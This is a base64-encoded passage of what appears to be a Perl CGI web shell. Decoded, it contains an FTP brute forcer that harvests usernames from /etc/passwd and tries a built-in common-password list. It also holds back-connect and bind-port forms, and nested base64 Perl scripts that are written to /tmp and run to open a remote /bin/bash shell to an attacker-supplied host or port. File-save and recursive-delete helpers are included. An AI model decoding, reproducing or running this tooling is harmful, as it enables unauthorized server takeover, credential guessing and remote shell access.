lc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJ